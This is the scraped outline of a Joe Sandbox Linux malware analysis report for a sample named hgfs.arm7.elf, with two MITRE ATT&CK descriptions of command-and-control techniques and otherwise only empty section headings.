Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report hgfs.arm7.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Dynamic Tags

Symbols

Network Behavior

Network Port Distribution

TCP Packets

System Behavior

Analysis Process: hgfs.arm7.elf PID: 6257, Parent PID: 6180

General

Chronological Activities

Linux Analysis Report
hgfs.arm7.elf